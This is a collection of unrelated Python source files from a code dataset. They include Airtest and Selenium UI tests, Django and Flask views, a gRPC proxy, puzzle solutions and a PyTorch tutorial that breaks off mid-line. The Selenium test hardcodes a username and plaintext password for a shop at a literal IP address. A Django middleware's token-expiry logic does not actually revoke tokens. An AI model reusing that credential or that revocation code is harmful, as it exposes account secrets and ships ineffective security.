1.)\r\n","repo_name":"Windere/SNN-STCA","sub_path":"model/snn.py","file_name":"snn.py","file_ext":"py","file_size_in_byte":10460,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"12348282060","text":"# -*- encoding=utf8 -*-\n__author__ = \"TS\"\n\nfrom airtest.core.api import *\nfrom airtest.report.report import simple_report\nfrom global_auto_agr import AUTO_SETUP_ARG\nfrom try_test_method import run_logger, remove_log_dir\nfrom general_steps_tasia import *\n\n\ndef skip_daily_popup():\n    if exists(button_pass()):\n        touch_button_back_popup()\n\n\ndef test_debug_clear():\n    touch_debug()\n    for i in range(5):\n        (touch_minus_1())\n    for i in range(3):\n        (touch_minus_10())\n    touch_hide()\n\n\ndef test_press_market_button():\n    touch_icon_shop()\n    assert_text_shop()\n\n\ndef test_locked_purchases():\n    touch_50()\n    assert_not_exists_claim()\n    touch_200()\n    assert_not_exists_claim()\n    touch_600()\n    assert_not_exists_claim()\n\n\ndef test_ads_hint():\n    touch_ads_hint()\n    touch_close_ads()\n    assert_hint_x1()\n    assert_x1()\n    assert_claim()\n\n\ndef test_receiving_hint():\n    touch_button_claim()\n    assert_1()\n\n\ndef test_ads_coins():\n    touch_debug()\n    touch_plus_100()\n    touch_hide()\n    touch_ads_coins()\n    touch_close_ads()\n    assert_coins_x10()\n    assert_x10()\n    assert_claim()\n\n\ndef test_receiving_coins():\n    touch_button_claim()\n    assert_coins11()\n\n\ndef debug():\n    touch_debug()\n    for i in range(8):\n        (touch_plus_100())\n    touch_plus_1()\n    touch_reload()\n    assert_91()\n\n\ndef test_purchases_for_50coins():\n    touch_icon_shop()\n    touch_50()\n    assert_hint_x1()\n    assert_x1()\n    touch_button_claim()\n    assert_hint3()\n\n\ndef test_purchases_for_200coins():\n    touch_200()\n    assert_hint_x1()\n    assert_5()\n    touch_button_claim()\n    assert_8()\n\n\ndef test_purchases_for_600coins():\n    touch_600()\n    assert_hint_x1()\n    assert_20()\n    touch_button_claim()\n    assert_28()\n\n\ndef test_purchases_for_0dollars():\n    touch_price_0()\n    assert_text_hint_ads()\n    android_quantity1()\n    android_price0()\n    touch_buy()\n    assert_hint_x1()\n    assert_x1()\n    touch_button_claim()\n    assert_29()\n\n\ndef test_purchase_failed():\n    touch_price_4()\n    touch_loading()\n    assert_text_oops()\n    touch_button_yes()\n\n\ndef run_shop_new():\n    remove_log_dir('shop_new')\n    auto_setup(\n        __file__,\n        logdir=AUTO_SETUP_ARG.get('logdir'),\n        devices=[AUTO_SETUP_ARG.get('devices'), ],\n        project_root=AUTO_SETUP_ARG.get('project_root'),\n    )\n    start_app(\"com.jollyco.jbpuzzleadventure\")\n    run_logger(skip_system_pop)\n    run_logger(skip_daily_popup)\n    run_logger(test_debug_clear)\n    run_logger(test_press_market_button)\n    run_logger(test_locked_purchases)\n    run_logger(test_ads_hint)\n    run_logger(test_receiving_hint)\n    run_logger(test_ads_coins)\n    run_logger(test_receiving_coins)\n    run_logger(debug)\n    run_logger(test_purchases_for_50coins)\n    run_logger(test_purchases_for_200coins)\n    run_logger(test_purchases_for_600coins)\n    run_logger(test_purchases_for_0dollars)\n    run_logger(test_purchase_failed)\n    stop_app(\"com.jollyco.jbpuzzleadventure\")\n    simple_report(__file__, logpath=True, output='html_report/shop.html')\n\n\n\n\n\n","repo_name":"pavelGavrilenkoQA/puzzle_1st_step_bb","sub_path":"main/shop_new/shop.py","file_name":"shop.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72913139022","text":"try:\n    from dvbcss.protocol.server.ts import TimelineSource\nexcept ImportError:\n    sys.stderr.write(\"\"\"\n    Could not import pydvbcss library. Suggest installing using pip, e.g. on Linux/Mac:\n    \n    $ sudo pip install pydvbcss\n    \"\"\")\n    sys.exit(1)\n\n\nclass ProxyTimelineSource(TimelineSource):\n    \"\"\"\\\n    Proxying Timeline Source for a DVB CSS TS Server.\n    \n    If requests from the TS Server require a new timeline, not previously\n    needed, or means that a timeline is no longer needed, then this is proxied\n    by passing on the request by calling :func:`onRequestedTimelinesChanged`.\n    \n    Control Timestamps (for newly requested, or existing timelines) are\n    pushed back via this proxy by calling :func:`timelinesUpdate`.\n    \"\"\"\n    \n    def __init__(self):\n        super(ProxyTimelineSource,self).__init__()\n        self.timelines = {}    # maps selectors to ControlTimestamp objects or None if no clock available\n        \n    def timelineSelectorNeeded(self, timelineSelector):\n        if timelineSelector not in self.timelines:\n            self.timelines[timelineSelector] = None # mark as pending getting hold of it (don't know if available yet or not)\n            if self.onRequestedTimelinesChanged:\n                self.onRequestedTimelinesChanged(self.timelines.keys(),[timelineSelector],[])\n        \n    def timelineSelectorNotNeeded(self, timelineSelector):\n        if timelineSelector in self.timelines:\n            del self.timelines[timelineSelector]\n            if self.onRequestedTimelinesChanged:\n                self.onRequestedTimelinesChanged(self.timelines.keys(),[],[timelineSelector])\n        \n    def recognisesTimelineSelector(self, timelineSelector):\n        return timelineSelector in self.timelines\n        \n    def getControlTimestamp(self, timelineSelector):\n        if timelineSelector in self.timelines:\n            return self.timelines[timelineSelector]\n        else:\n            return None \n        \n    def timelinesUpdate(self, controlTimestamps):\n        \"\"\"\\\n        Call this method to update the set of Control Timestamps for timelines.\n        \n        :param controlTimestamps: A :class:`dict` mapping from timeline selectors (:class:`str`) to :class:`~dvbcss.protocol.ts.ControlTimestamp` objects\n\n        Note: this does not trigger attached sinks to update clients.\n        \"\"\"\n        for selector in controlTimestamps:\n            if selector in self.timelines:\n                ct = controlTimestamps[selector]\n                self.timelines[selector] = ct\n\n    def onRequestedTimelinesChanged(self, timelineSelectors, selectorsAdded, selectorsRemoved):\n        \"\"\"\\\n        This stub method is called when the set of timelines requested by \n        clients has changed - e.g. new one added or exisitng one removed.\n        \n        :param timelineSelectors: A list of timelineSelector strings corresponding to the requested timelines. In no particular order.\n        \n        Override or replace with your own handler.\n        \"\"\"\n        pass\n","repo_name":"2-IMMERSE/dvbcsstv-lib","sub_path":"src/python/ProxyTimelineSource.py","file_name":"ProxyTimelineSource.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"23413470713","text":"from setuptools import setup, find_packages\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\nwith open(path.join(here, 'DESCRIPTION.rst'), encoding='utf-8') as f:\n    long_description = f.read()\n    \nwith open(path.join(here, 'requirements.txt'), encoding='utf-8') as f:\n    requirements = f.read().splitlines()\n\nsetup(\n    name='har2python',\n    version='0.7.0',\n    description='Tool for corvert har file to python code',\n    long_description=long_description,\n    url='',\n    author='Michal Cáb',\n    author_email='majkl.cab@gmail.com',\n    license='MIT',\n    classifiers=[\n        'Development Status :: 4 - Beta',\n        'Intended Audience :: Developers',\n        'Topic :: Software Development :: Build Tools',\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python :: 2.7',\n    ],\n\n    keywords='har request http generate code',\n    packages=find_packages(exclude=['examples', 'docs', 'tests*']),\n    install_requires=requirements,\n    entry_points={\n    'console_scripts': [\n        'har2python=har2python:main',\n    ],\n},\n)\n","repo_name":"MichalCab/har2python","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
{"seq_id":"4339016886","text":"from django.core.cache import cache\nfrom django.contrib.auth import get_user_model\nfrom rest_framework_simplejwt.tokens import UntypedToken\n\nclass ExpireTokenOnRoleChangeMiddleware:\n    def __init__(self, get_response):\n        self.get_response = get_response\n\n    def __call__(self, request):\n        response = self.get_response(request)\n\n        # Check if the user is authenticated and the role has changed\n        if request.user.is_authenticated and request.user.has_role_changed():\n            # Expire the access token\n            self.expire_access_token(request.user)\n\n        return response\n\n    def expire_access_token(self, user):\n        # Get the user's access token from cache\n        cache_key = f'user_token:{user.id}'\n        token_data = cache.get(cache_key)\n\n        if token_data:\n            # Expire the access token\n            token = UntypedToken(token_data['access_token'])\n            token.set_exp(lifetime=0)  # Set the expiration to the past\n            cache.set(cache_key, token_data, timeout=0)\n\n    def process_response(self, request, response):\n        return response\n","repo_name":"ShareareTanveer/hms-server","sub_path":"authentication/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"17685758623","text":"from PyDictionary import PyDictionary\n\ndictionary = PyDictionary()\n\nwhile True:\n    word = input(\"Enter your word: \")\n    if word == \"\":\n        break\n\n    meanings = dictionary.meaning(word)\n    if meanings:\n        for part_of_speech, definitions in meanings.items():\n            print(f\"{part_of_speech.capitalize()}:\")\n            for index, definition in enumerate(definitions, start=1):\n                print(f\"{index}. {definition}\")\n    else:\n        print(\"Word not found in the dictionary.\")\n","repo_name":"hackerbotsupreme/python-games-1","sub_path":"word_dictionary.py","file_name":"word_dictionary.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"386540783","text":"def InputNumber():\n    is_OK = False\n    while not is_OK:\n        try:\n            number = int(input(\"Введите число: \"))\n            is_OK = True\n        except ValueError:\n            print(\"Это не число!\")\n    return number\n\n\ndef listofmnoz(number):\n    lst = []\n    i = 2\n    num = number\n    while i <= num:\n        if num % i == 0:\n            lst.append(i)\n            num = num / i\n            i = 2\n        else:\n            i += 1\n    return lst\n\n\nnumber = InputNumber()\nlist = listofmnoz(number)\n\nprint(f\"Простые множители числа {number} : {list}\")","repo_name":"gubanni/sem4","sub_path":"Z1.py","file_name":"Z1.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"70025663504","text":"import struct\n\n\nclass ActorInfo(object):\n    HashId: int\n    SRTHash: int\n    ShapeInfoStart: int\n    ShapeInfoEnd: int\n\n    def __init__(self, infile):\n        self.HashId = struct.unpack('>I', infile.read(4))  # TYPE_UINT32:TYPE_VOID\n        self.SRTHash = struct.unpack('>i', infile.read(4))  # TYPE_INT32:TYPE_VOID\n        self.ShapeInfoStart = struct.unpack('>i', infile.read(4))  # TYPE_INT32:TYPE_VOID\n        self.ShapeInfoEnd = struct.unpack('>i', infile.read(4))  # TYPE_INT32:TYPE_VOID\n\n    def __repr__(self):\n        return \"<{class_name} HashId={HashId}, SRTHash={SRTHash}, ShapeInfoStart={ShapeInfoStart}, ShapeInfoEnd={ShapeInfoEnd}>\".format(**{\n            \"class_name\": self.__class__.__name__,\n            \"HashId\": self.HashId,\n            \"SRTHash\": self.SRTHash,\n            \"ShapeInfoStart\": self.ShapeInfoStart,\n            \"ShapeInfoEnd\": self.ShapeInfoEnd,\n        })\n","repo_name":"zephenryus/havok-reflection","sub_path":"havok_classes/ActorInfo.py","file_name":"ActorInfo.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"}
{"seq_id":"15179657702","text":"# -*- coding: utf-8 -*-\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.common.exceptions import NoSuchElementException\nfrom selenium.common.exceptions import NoAlertPresentException\nimport unittest, time, re\n\nclass TestFirefox(unittest.TestCase):\n    '''\n    商城平台的订单流程\n    '''\n    def setUp(self):\n        self.driver = webdriver.Chrome()\n        # 窗口最大化\n        self.driver.maximize_window()\n        self.driver.implicitly_wait(30)\n        self.base_url = \"http://106.13.46.164:8080\"\n        self.verificationErrors = []\n        self.accept_next_alert = True\n\n    def test_firefox(self):\n        driver = self.driver\n        driver.get(self.base_url + \"/iwebshop/\")\n        driver.find_element_by_link_text(u\"登录\").click()\n        driver.find_element_by_name(\"login_info\").clear()\n        driver.find_element_by_name(\"login_info\").send_keys(\"Allen\")\n        driver.find_element_by_name(\"password\").clear()\n        driver.find_element_by_name(\"password\").send_keys(\"liu246855sg\")\n        driver.find_element_by_class_name('submit_login').click()\n        time.sleep(10)\n        loginresult = driver.find_element_by_class_name('loginfo')\n        print(loginresult.text)\n        self.assertEqual(u'Allen您好，欢迎您来到iwebshop购物！[安全退出]',loginresult.text)\n        driver.find_element_by_link_text(u\"特价商品\").click()\n        driver.find_element_by_id(\"buy_now\").click()\n        time.sleep(10)\n        driver.find_element_by_class_name(\"submit_order\").click()\n        time.sleep(10)\n        orderresult = driver.find_elements_by_class_name(\"f14\")\n        print(orderresult[0].text)\n        self.assertEqual(u\"订单已提交\",orderresult[0].text)\n        driver.find_element_by_class_name(\"submit_pay\").click()\n        time.sleep(10)\n        # 切换窗口\n        n = driver.window_handles\n        driver.switch_to.window(n[1])\n        payresult = driver.find_elements_by_class_name(\"f14\")\n        print(payresult[0].text)\n        self.assertEqual(u\"支付成功\",payresult[0].text)\n\n\n\n    def is_element_present(self, how, what):\n        try:\n            self.driver.find_element(by=how, value=what)\n        except NoSuchElementException:\n            return False\n        return True\n    \n\n    def is_alert_present(self):\n        try:\n            self.driver.switch_to.alert\n        except NoAlertPresentException:\n            return False\n        return True\n\n    def close_alert_and_get_its_text(self):\n        try:\n            alert = self.driver.switch_to.alert\n            alert_text = alert.text\n            if self.accept_next_alert:\n                alert.accept()\n            else:\n                alert.dismiss()\n            return alert_text\n        finally: self.accept_next_alert = True\n\n    \n    def tearDown(self):\n        self.driver.quit()\n        self.assertEqual([], self.verificationErrors)\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"zyall/demo","sub_path":"selenium_V5.12/zhouqing_01_python基础/test_order.py","file_name":"test_order.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"34648801788","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Propiedad, Galeria\nfrom django.core.mail import send_mail\nfrom django.conf import settings\n\n# Create your views here.\n\ndef home(request):\n    propiedades = Propiedad.objects.all()\n    data = {'propiedades':propiedades}\n    if request.method==\"POST\":\n        subject=request.POST[\"txtnombre\"]\n        message=request.POST[\"txtemail\"]+ \" \" + request.POST[\"txtmensaje\"]\n        email_from=settings.EMAIL_HOST_USER\n        recipient_list=[\"cristianpezoa.ar@gmail.com\"]\n        send_mail(subject, message, email_from, recipient_list)\n    return render(request,'core/home.html', data)\n\n\n\ndef galeria(request, id):\n    propiedad = get_object_or_404(Propiedad, id=id)\n    foto_galeria = Galeria.objects.filter(propiedad=propiedad)\n    data = {\n        'propiedad':propiedad,\n        'foto_galeria':foto_galeria\n        }\n    return render(request, 'core/galeria.html', data)\n\n\ndef contacto(request):\n    if request.method==\"POST\":\n        subject=request.POST[\"txtnombre\"]\n        message=request.POST[\"txtemail\"]+ \" \" + request.POST[\"txtmensaje\"]\n        email_from=settings.EMAIL_HOST_USER\n        recipient_list=[\"cristianpezoa.ar@gmail.com\"]\n        send_mail(subject, message, email_from, recipient_list)\n    return render(request, 'core/contacto.html')\n\n\ndef datos(request):\n    return render(request, 'core/datos.html')\n\ndef Agregar(request):\n    propiedad = Propiedad.objects.all()\n    data = {'propiedad':propiedad}\n    \"\"\" if request.POST:\n        propiedad = Propiedad()\n        propiedad.nombre = request.POST.get('txtnombre')\n        propiedad.tipo = request.POST.get('txtTipo')\n        propiedad.operacion = request.POST.get('txtOperacion')\n        propiedad.superficie = int(request.POST.get('txtSuperficie'))\n        propiedad.habitaciones = int(request.POST.get('txtHabitaciones'))\n        propiedad.banno = int(request.POST.get('txtBannos'))\n        propiedad.ubicacion = request.POST.get('txtUbicacion')\n        propiedad.precio = int(request.POST.get('txtPrecio'))\n        propiedad.descripcion = request.POST.get('txtDescripcion')\n        propiedad.imgane = request.FILES.GET('imagen')\n    try:\n        propiedad.save() \"\"\"\n\n    return render(request, 'core/Agregar.html')\n  \n\ndef construccion(request):\n    return render(request, 'core/construccion.html')","repo_name":"jonathana22/PropiedadesDjango","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"11429945652","text":"\nimport time\nimport random\nfrom flask import Response, Flask, render_template\n\napp=Flask(__name__)\napp.debug = True\n\n\nvariable=\"hello from flask / make me real time a\"\n\n@app.route(\"/\")\ndef index():\n    return render_template('index.html', switch=switch)\n\n\n#@app.route('/')\n#def index():\n#    return variable\n\n@app.route('/switch')\ndef switch():\n    def get_switch_values():\n        while True:\n            yield(\"Value: {0}\\n\\n\".format(random.randrange(0,100)))\n            time.sleep(1.0)\n    return Response(get_switch_values(), mimetype='text/event-stream')\n\nif __name__==\"__main__\":\n    app.run(debug=True, threded = True)","repo_name":"Bestszy/insight-flow","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"37782533276","text":"from data.data_loader import get_loader\nimport torchvision.transforms as transforms\nimport torch\nfrom trainer import Trainer\n# get args\nfrom opts import args\n\ndevices = [a for a in range(torch.cuda.device_count())]\nprint(args)\n\n# init data loader\ntrain_loader, num_samples, vocab_size = get_loader(args.data_dir, args.dataset, 'train',\n                                                    batch_size=args.batch_size*len(devices),\n                                                    shuffle=True, num_workers=4)\nval_loader, num_samples, vocab_size=get_loader(args.data_dir, args.dataset, 'test',\n                                                batch_size=args.batch_size * len(devices),\n                                                shuffle=False, num_workers=4 if args.cmd == 'train' else 0,\n                                                unary_mode=args.loader_unary_mode)\n\n# init model\nif not args.no_mm:\n    if 'tandemnet2v2' in args.name:\n        from model.tandemnet2_v2 import DistillModel\n    elif 'tandemnetv2' in args.name:\n        from model.tandemnet_v2 import DistillModel\n\n    model = DistillModel(args, vocab_size, n_classes=train_loader.dataset.num_cats, model_name=args.base_cnn_model).cuda()\nelse:\n    from model.tandemnet import MultiLabelResNet\n    model = MultiLabelResNet(args=args, n_classes=train_loader.dataset.num_cats, model_name=args.base_cnn_model).cuda()\n\ntrainer = Trainer(model, train_loader, val_loader, args=args, devices=devices)\n\nif args.cmd == 'train':\n    trainer.train()\nelif args.cmd == 'test':\n    trainer.test()\n","repo_name":"zizhaozhang/distill2","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"47"}
{"seq_id":"17180423296","text":"from django.urls import path\n\nfrom .views import (\n    create_buyer,\n    create_supplier,\n    create_product,\n    create_order,\n    edit_buyer,\n    edit_supplier,\n    edit_product,\n    delete_buyer,\n    delete_supplier,\n    delete_product,\n\n    billing,\n    cash_control,\n    calendar,\n\n    get_product_by_barcode,\n    get_product_by_id,\n    get_order_data,\n    get_alert_stock_products,\n    get_alert_expire_products,\n\n    BuyerListView,\n    SupplierListView,\n    ProductListView,\n    OrderListView,\n\n    st_time_parallel,\n    st_best_day,\n    st_best_product\n)\n\nurlpatterns = [\n    path('create-buyer/', create_buyer, name='create-buyer'),\n    path('create-supplier/', create_supplier, name='create-supplier'),\n    path('create-product/', create_product, name='create-product'),\n    path('create-order/', create_order, name='create-order'),\n\n    path('edit-buyer', edit_buyer, name='edit-buyer'),\n    path('edit-supplier', edit_supplier, name='edit-supplier'),\n    path('edit-product', edit_product, name='edit-product'),\n\n    path('delete-buyer', delete_buyer, name='delete-buyer'),\n    path('delete-supplier', delete_supplier, name='delete-supplier'),\n    path('delete-product', delete_product, name='delete-product'),\n\n    path('buyer-list/', BuyerListView.as_view(), name='buyer-list'),\n    path('supplier-list/', SupplierListView.as_view(), name='supplier-list'),\n    path('product-list/', ProductListView.as_view(), name='product-list'),\n    path('order-list/', OrderListView.as_view(), name='order-list'),\n\n    path('billing/', billing, name='billing'),\n    path('cash_control/', cash_control, name='cash-control'),\n    path('calendar/', calendar, name='calendar'),\n\n    path('st_time_parallel/', st_time_parallel, name='st-time-parallel'),\n    path('st_best_day/', st_best_day, name='st-best-day'),\n    path('st_best_product/', st_best_product, name='st-best-product'),\n\n    path('ajax/get_product_by_barcode/', get_product_by_barcode, name='get-product-by-barcode'),\n    path('ajax/get_product_by_id/', get_product_by_id, name='get-product-by-id'),\n    path('ajax/get_order_data/', get_order_data, name='get-order-data'),\n    path('ajax/get_alert_stock_products/', get_alert_stock_products, name='get-alert-stock-products'),\n    path('ajax/get_alert_expire_products/', get_alert_expire_products, name='get-alert-expire-products'),\n]\n","repo_name":"Facfac5000-git/manam_store","sub_path":"store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"73321160143","text":"from concurrent import futures\nfrom time import sleep\n\nimport sys\nimport grpc\n\nfrom webapp import WebApp, ONE_DAY_BY_SECOND\nfrom counter.counter_pb2_grpc import CounterServicer, add_CounterServicer_to_server\nfrom counter.counter_pb2 import IncrementResponse\n\n\nclass Proxy(WebApp, CounterServicer):\n    def Increment(self, request, _):\n        frontend_name = request.name\n        self.increase_count()\n        return IncrementResponse(count=self.increase_count(frontend_name).count)\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def start(self):\n        server = grpc.server(futures.ThreadPoolExecutor(max_workers=10))\n        add_CounterServicer_to_server(Proxy(self.name, self.upstream_addr, self.bind_addr), server)\n        server.add_insecure_port(self.bind_addr)\n        server.start()\n        sys.stdout.write('Proxy Starts at %s\\n' % str(self.bind_addr))\n\n        try:\n            while True:\n                sleep(ONE_DAY_BY_SECOND)\n        except KeyboardInterrupt:\n            server.stop(0)\n\n","repo_name":"goodatlas/gRPC_python","sub_path":"proxy/proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"42995180457","text":"import collections\nimport functools\n\n\nclass Monkey:\n    def __init__(self):\n        self.items = collections.deque([])\n        self.original_items = []\n        self.operation = None\n        self.test_number = None\n        self.positive_outcome_target = None\n        self.negative_outcome_target = None\n        self.items_inspected = 0\n        self.factor_in_relief = True\n        self.custom_reducer = 1\n\n    def choose_target(self) -> int:\n        if len(self.items) == 0:\n            raise Exception('Cannot choose targets when empty handed')\n\n        return self.positive_outcome_target if self.items[0] % self.test_number == 0 else self.negative_outcome_target\n\n    def has_items(self) -> bool:\n        return len(self.items) > 0\n\n    def inspect(self) -> None:\n        self.items_inspected += 1\n        self.items[0] = self.operation(self.items[0])\n        if self.factor_in_relief:\n            self.items[0] //= 3\n        else:\n            self.items[0] %= self.custom_reducer\n\n    def throw(self) -> int:\n        return self.items.popleft()\n\n    def catch(self, item: int) -> None:\n        self.items.append(item)\n\n    def reset(self):\n        self.items = collections.deque(self.original_items.copy())\n        self.items_inspected = 0\n\n\nmonkeys = []\ninitial_items = []\nwith open('real-input.txt') as f:\n    while True:\n        monkey_header = f.readline()\n        if not monkey_header:\n            break\n\n        monkey = Monkey()\n        items = list(map(lambda x: int(x.strip()), f.readline().strip().split(':')[1].split(',')))\n        monkey.items = collections.deque(items.copy())\n        monkey.original_items = items.copy()\n        operation = f.readline().split('=')[1].strip()\n        operator, constant = operation.split(' ')[1:]\n\n\n        def generate_operation(monkey_operator: str, operand: str):\n            def op(worry_level: int) -> int:\n                monkey_constant = worry_level if operand == 'old' else int(operand)\n\n                if monkey_operator == '*':\n                    return worry_level * monkey_constant\n\n                if monkey_operator == '+':\n                    return worry_level + monkey_constant\n\n                if monkey_operator == '/':\n                    return worry_level // monkey_constant\n\n                if monkey_operator == '-':\n                    return worry_level - monkey_constant\n\n            return op\n\n\n        monkey.operation = generate_operation(operator, constant)\n\n        monkey.test_number = int(f.readline().strip().split(' ')[-1])\n        monkey.positive_outcome_target = int(f.readline().strip().split(' ')[-1])\n        monkey.negative_outcome_target = int(f.readline().strip().split(' ')[-1])\n\n        monkeys.append(monkey)\n        f.readline()\n\nfor _ in range(20):\n    for monkey in monkeys:\n        while monkey.has_items():\n            monkey.inspect()\n            monkeys[monkey.choose_target()].catch(monkey.throw())\n\ninspections = [m.items_inspected for m in monkeys]\ninspections.sort()\nprint('Part 1: ', inspections[-2] * inspections[-1])\n\npart_2_reducer = functools.reduce(lambda c, i: i * c, [m.test_number for m in monkeys], 1)\nfor monkey in monkeys:\n    monkey.reset()\n    monkey.factor_in_relief = False\n    monkey.custom_reducer = part_2_reducer\n\nfor _ in range(10_000):\n    for monkey in monkeys:\n        while monkey.has_items():\n            monkey.inspect()\n            monkeys[monkey.choose_target()].catch(monkey.throw())\n\ninspections = [m.items_inspected for m in monkeys]\ninspections.sort()\nprint('Part 2: ', inspections[-2] * inspections[-1])\n","repo_name":"Philosoft/advent-of-code-2022","sub_path":"11/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":3549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22430668304","text":"#-------------------------------------------------------------------------------------------------------------\r\n#Here is an example of a simple calculator application that asks a user to enter two numbers and the operation \r\n#(e.g. +, -, x, etc.) that they’d like to perform on the numbers. Display the answer \r\n#Also this Example of DEFENSIVE PROGRAMMING;\r\n#--------------------------------------------------------------------------------------------------------------\r\ndef calculator():\r\n    while True:\r\n        try:\r\n            num1 = float(input(\"Enter first number: \"))\r\n            num2 = float(input(\"Enter second number: \"))\r\n            operator = input(\"Enter operator (+, -, *, /): \")\r\n            if operator == \"+\":\r\n                print(num1 + num2)\r\n            elif operator == \"-\":\r\n                print(num1 - num2)\r\n            elif operator == \"*\":\r\n                print(num1 * num2)\r\n            elif operator == \"/\":\r\n                print(num1 / num2)\r\n            else:\r\n                print(\"Invalid operator\")\r\n            with open(\"equations.txt\", \"a\") as f:\r\n                f.write(f\"{num1} {operator} {num2} = {num1+num2}\\n\")\r\n        except ValueError:\r\n            print(\"Invalid input\")\r\n        except ZeroDivisionError:\r\n            print(\"Cannot divide by zero\")\r\n\r\ncalculator()\r\n\r\n\r\n","repo_name":"Nazilauk/python","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"17314576142","text":"#%%\n#Putting it all together\nimport torch\nfrom torch import nn\nimport matplotlib.pyplot as plt\nfrom pathlib import Path\n\n# %%\n#!Plot to assist in visualising data\ndef plot_predictions(train_data ,\n                     train_labels ,\n                     test_data,\n                     test_labels,\n                     predictions = None):\n\n    plt.figure(figsize = (10,7))\n\n    #Plotting training data in blue\n    plt.scatter(train_data, train_labels, c = \"b\" , s = 4 , label = \"Training data\")\n\n    #Plot test data in green\n    plt.scatter(test_data,test_labels, c = \"g\" , s = 4 , label = \"Testing data\")\n\n    if predictions is not None:\n        #plt predictions if they exist\n        plt.scatter(test_data,predictions,c = \"r\", s= 4, label = \"Predictions\")\n\n\n    #Show the legend\n    plt.legend(prop = {\"size\":14})\n\n\n#!Check if GPU is enable otherwise use cpu, device agonstic code\ndevice = \"cuda\" if torch.cuda.is_available() else \"cpu\"\nprint(f\"Using device: {device}\")\n\n#Creating dataSet using linear regression formula of y = weight * x + bias\nweight = 0.2\nbias = 0.1\n\n#Create range Values\nstart = 0\nend = 1\nstep = 0.02\n\n#Create X & Y (features and labels)\n#Unsqueeze to prevent dimensionality issuse\nX = torch.arange(start , end , step).unsqueeze(dim = 1)\nY = weight * X + bias\nprint(f'X:\\n {X} \\n Y:\\n {Y}\\n')\n\n#%%\n#!Splitting Data\ntrain_split = int(0.8*len(X)) #<- meaning taking 80% of dataSet for training\nX_train , Y_train = X[:train_split], Y[:train_split]\nX_test,Y_test = X[train_split:] , Y[train_split:] #<- 20% of dataSet for testing\nprint(f' X_TRAIN_LEN = {len(X_train)}\\n Y_TRAIN_LEN = {len(Y_train)} \\n X_TEST_LEN = {len(X_test)}\\n Y_TEST_LEN = {len(Y_test)}\\n')\n\n\n#%%\n#!Plotting the Data\nplot_predictions(X_train,Y_train,X_test,Y_test)\n\n#%%\n#-----------------------------Building A Pytorch Linear Model----------------------#\n#!Creating a linear model by subclassing nn.Module\n#Note usually we would not need to assign the random weight and bias yourself\n#Built in function can handle for you\nclass LinearRegressionModel(nn.Module):\n    def __init__(self):\n        super().__init__()\n        #Use nn.Linear() for creating the model parameters\n        #in_features and out_features depends on the dataSet you use\n        #For linear, only have 1 input and 1 output so 1 , 1\n        #This implement linear transform layer using preexist layer for training\n        #To use different layers visit torch.nn for more details\n        self.linear_layer = nn.Linear(in_features=1,out_features=1)\n\n    #Overwriting forward method of nnmodule\n    def forward(self, x: torch.Tensor) -> torch.Tensor:\n        return self.linear_layer(x)\n\n#Setting Random seed\ntorch.manual_seed(42)\nmodel_1 = LinearRegressionModel()\nprint(f'model_1 : \\n {model_1} \\n model1_1_Dict : \\n {model_1.state_dict()}')\n\n# %%\n#---------------------------------Training a Model-----------------------------#\n#Set the model to target device\n#!first check the device you're using\nnext(model_1.parameters()).device\n\n#%%\n#Set the model using target device\nmodel_1.to(device)\nnext(model_1.parameters()).device\n\nprint(f'Model states: \\n {model_1.state_dict()}\\n')\n\n#We need to set up loss function and optimizer\nloss_fn = nn.L1Loss()\n\n#Setup our optimizer\noptimizer = torch.optim.SGD(params = model_1.parameters(),lr = 0.01)\n\n#Now writing training loop\ntorch.manual_seed(42)\n\n#!We need to put data on the target device too.\nX_train = X_train.to(device)\nY_train = Y_train.to(device)\nY_test = 